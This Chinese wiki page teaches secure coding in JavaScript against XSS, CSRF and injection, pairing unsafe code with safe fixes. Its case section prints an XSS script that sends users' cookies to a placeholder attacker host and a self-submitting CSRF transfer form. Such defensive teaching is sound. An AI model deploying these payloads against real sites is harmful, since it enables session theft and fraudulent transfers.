编辑“︁JavaScript安全编码”︁

= JavaScript安全编码 =

'''JavaScript安全编码'''是指在开发过程中遵循特定的原则和实践，以防止安全漏洞、数据泄露和恶意攻击。由于JavaScript在浏览器和服务器端（如Node.js）广泛使用，其安全性至关重要。本文将介绍常见的安全风险、防御措施以及最佳实践。

== 介绍 ==

JavaScript安全编码的目标是保护应用程序免受攻击，例如跨站脚本（XSS）、跨站请求伪造（CSRF）、注入攻击等。开发者需要了解潜在威胁，并采取适当的防护措施。

== 常见安全风险及防御措施 ==

=== 1. 跨站脚本攻击（XSS） ===

XSS攻击是指攻击者通过注入恶意脚本到网页中，使其在用户浏览器中执行。XSS分为三种类型：
* '''存储型XSS'''：恶意脚本存储在服务器上。
* '''反射型XSS'''：恶意脚本通过URL参数传递并反射回页面。
* '''DOM型XSS'''：恶意脚本通过修改DOM结构执行。

==== 防御措施 ====
* 对用户输入进行转义或编码。
* 使用Content Security Policy（CSP）限制脚本执行。
* 避免使用`innerHTML`直接插入未过滤的内容。

==== 代码示例 ====
<syntaxhighlight lang="javascript">
// 不安全的做法
document.getElementById("output").innerHTML = userInput;

// 安全的做法：使用textContent代替innerHTML
document.getElementById("output").textContent = userInput;
</syntaxhighlight>

=== 2. 跨站请求伪造（CSRF） ===

CSRF攻击诱使用户在不知情的情况下提交恶意请求。例如，攻击者可能伪造一个表单，诱导用户提交以执行非预期的操作。

==== 防御措施 ====
* 使用CSRF令牌（Token）。
* 检查`Referer`和`Origin`头部。
* 使用SameSite Cookie属性。

==== 代码示例 ====
<syntaxhighlight lang="javascript">
// 服务器生成CSRF令牌并嵌入表单
const csrfToken = generateRandomToken();
res.cookie('csrf_token', csrfToken, { httpOnly: true, sameSite: 'strict' });

// 客户端提交表单时附带CSRF令牌
fetch('/submit-form', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify({ data: formData })
});
</syntaxhighlight>

=== 3. 注入攻击 ===

注入攻击（如SQL注入、命令注入）发生在未过滤的输入被直接拼接到查询或命令中。

==== 防御措施 ====
* 使用参数化查询（如Prepared Statements）。
* 避免使用`eval()`或动态生成代码。

==== 代码示例 ====
<syntaxhighlight lang="javascript">
// 不安全的做法：直接拼接SQL查询
const query = `SELECT * FROM users WHERE username = '${username}'`;

// 安全的做法：使用参数化查询（以Node.js为例）
const query = 'SELECT * FROM users WHERE username = ?';
connection.query(query, [username], (error, results) => { /* ... */ });
</syntaxhighlight>

== 实际案例 ==

=== 案例1：XSS攻击导致用户数据泄露 ===
某网站允许用户在评论区输入HTML标签，但未对输入进行过滤。攻击者提交以下内容：
<syntaxhighlight lang="html">
<script>
  fetch('https://malicious-site.com/steal?cookie=' + document.cookie);
</script>
</syntaxhighlight>
当其他用户访问该页面时，脚本执行并发送用户的Cookie到攻击者的服务器。

=== 案例2：CSRF攻击导致非预期转账 ===
攻击者构造一个隐藏表单，诱导用户点击：
<syntaxhighlight lang="html">
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="toAccount" value="attacker-account">
</form>
<script>document.forms[0].submit();</script>
</syntaxhighlight>
如果用户已登录银行网站，请求会被自动发送并执行转账。

== 安全编码最佳实践 ==

1. '''输入验证'''：始终验证和清理用户输入。
2. '''输出编码'''：在渲染用户数据时进行编码。
3. '''最小权限原则'''：限制代码和用户的权限。
4. '''依赖管理'''：定期更新第三方库以修复已知漏洞。
5. '''安全头部'''：使用HTTP安全头部（如CSP、HSTS）。

== 总结 ==

JavaScript安全编码是开发过程中不可忽视的部分。通过遵循最佳实践，开发者可以显著降低应用程序的安全风险。始终记住：'''不信任任何用户输入'''，并采用防御性编程策略。

== 参见 ==
* [[JavaScript/最佳实践/代码风格]]
* [[JavaScript/最佳实践/性能优化]]

{{JavaScript学习路径结构}}

[[Category:编程语言]]
[[Category:JavaScript]]
[[Category:Javascript最佳实践]]